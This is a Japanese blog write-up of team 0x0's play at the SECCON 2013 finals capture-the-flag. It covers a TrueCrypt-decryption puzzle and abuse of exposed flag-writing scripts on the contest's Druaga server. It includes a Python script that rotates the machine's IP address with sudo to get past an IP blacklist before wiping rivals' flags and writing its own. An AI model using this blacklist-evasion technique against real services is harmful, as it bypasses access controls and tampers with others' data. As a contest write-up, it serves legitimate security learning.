Hatena::ブログ(Diary)

ソースコード置き場

2014-03-03 SECCON 2013 全国大会 Write up

SECCON 2013 全国大会にチーム0x0(@superbacker, @nolze, @wasao, @waidotto)の4人で出場、あまつさえ優勝までしてしまいました。
1日目は全然活躍できませんでしたが、2日目はDruagaサーバで色々やってたので(全チームの中で0x0が唯一フラッグワードを維持出来てたっぽいです)Write upを書きます。

Druaga

1日目の終了直前、Druagaサーバが開放されました。
druaga.tower(10.100.2.1)にアクセスすると、

<a href="http://10.0.1.1/files/yuko_oshima.bin">crypted_file</a> (password is seccon)

とのことなので、yuko_oshima.binをダウンロード
80MBきっかりのファイルで、fileコマンドにかけてもdataだし、規則性も特に見受けられませんでした。
こうして1日目は終了。
ホテルについた後、@wasaoが「TrueCryptでは?」(@luminさんと@touzokuさんの出演したほこxたてを参照)とひらめく。TrueCryptでパスワードをsecconとしてマウントを試みたところ、マウントできました!
中にはtanka5t-50000.zipKEY{OoiOtya}.txtがあり、テキストファイルの中身は

Linux/x86環境にて 0609 と表示するアセンブラ短歌を探し出し
そのアセンブラ短歌が書かれた画像の MD5値 を求めよ!

KEY{MD5(taka.jpg)}

※)アルファベットは小文字

Enjoy Hacking! :)

でした。zipファイルを解凍すると0/00/00/taka.jpgから5/99/99/taka.jpgまでの50000個の画像ファイル(なぜか中身はjpgではなくてpng)があり、x86マシン語が書かれていました。
ものすごく綺麗に揃った画像だったので、perlのImage::MagickのCropで画像を1文字ずつトリミングし、そのmd5ハッシュを比較して画像認識をやるという暴挙に出ました。3[枚/秒]くらい。たまに1ドット違う文字などがありましたが、手作業で修正できる程度の数でした。
そのまま風呂に入った後に寝落ちしたところ、朝になったら@superbackerさんが答えを出してくれていました。3/93/73/taka.jpgだったようです。
2日目。フラッグワードページはhttp://druaga.tower/www/flag.txtでした。問題ページに次のようなスクリーンショットが追加されていました。
f:id:waidotto:20140304003659p:image
/www/は403だったので、他のディレクトリをあさってみました。いろいろなCGIがありましたが、実行されずに中身が表示されるだけでした。しばらくして/Python27/hoko/hoko.pyと/Python27/tate/tate.pyを発見。hoko.pyはip.txt(ブラックリスト)に接続元IPが載っていなければクエリqの値をflag.txtに書き込み、tate.pyはip.txtに接続元IPが載っていなければflag.txtの内容を消去、というものでした。これらをなんとか実行できないかといろいろ探したところ、/Program Files/Apache Group/Apache2/logs/access.logに

192.168.11.6 - - [01/Mar/2014:01:31:51 +0900] "GET /www/tate.exe HTTP/1.1" 200 6
192.168.11.6 - - [01/Mar/2014:01:32:37 +0900] "GET /www/hoko.exe?q=AAAABBBBCCCCDDDDAAAABBBBCCCCDDDD HTTP/1.1" 200 6

というような記述を発見しました。別なページを閲覧してから更新してみると、access.logの行が増えるので、生きているlogだとわかります。/www/flag.txtにもAAAABBBBCCCCDDDDAAAABBBBCCCCDDDDと書いてあったので、これだ、と思い/www/hoko.exe?q=(フラッグワード)にアクセスしたところ、見事フラッグワードを書き込むことに成功しました。
ブラックリストに登録されてしまうので書き込むたびにIPアドレスを変更する必要があるため、自動化するスクリプトを(なぜかPythonで)作成しました。

#!/usr/bin/python
import sys
import subprocess

subprocess.call('sudo ifconfig eth0 inet 192.168.16.' + sys.argv[1], shell=True)
subprocess.call('sudo route -v add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.16.1 dev eth0', shell=True)
if(sys.argv[3] == 'hoko'):
	subprocess.call('wget http://druaga.tower/www/hoko.exe?q=' + sys.argv[2], shell=True)
if(sys.argv[3] == 'tate'):
	subprocess.call('wget http://druaga.tower/www/tate.exe?q=' + sys.argv[2], shell=True)
if(sys.argv[3] == 'hokotate'):
	subprocess.call('wget http://druaga.tower/www/tate.exe?q=' + sys.argv[2], shell=True)
	subprocess.call('sudo ifconfig eth0 inet 192.168.16.' + str(int(sys.argv[1]) + 1), shell=True)
	subprocess.call('sudo route -v add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.16.1 dev eth0', shell=True)
	subprocess.call('wget http://druaga.tower/www/hoko.exe?q=' + sys.argv[2], shell=True)

これをフラッグワードが変更される直前に実行し、他チーム(なぜか1チームしかいませんでしたが)のフラグを消去して自チームのフラグを書き込んでいました。

おまけ

フラッグワードは5分毎に更新されていましたが、WebSocketで更新しているようだったので、手元で見るスクリプトを書いていました。node.jsで動きます。

var io = require('socket.io-client');
var socket = io.connect('10.0.1.1', {port:8000});
socket.on('connect', function() {
	socket.on('flagword', function(data) {
		if(data.flagwords[15].team_name == '0x0') {
			console.log(data.flagwords[15].flagword);
		} else {
			process.exit(0);
		}
	});
	socket.emit('flagwords');
});
さいごに

今年もとっても楽しかったです。
参加者、スタッフ、関係者の皆様、ありがとうございました。

Connection: close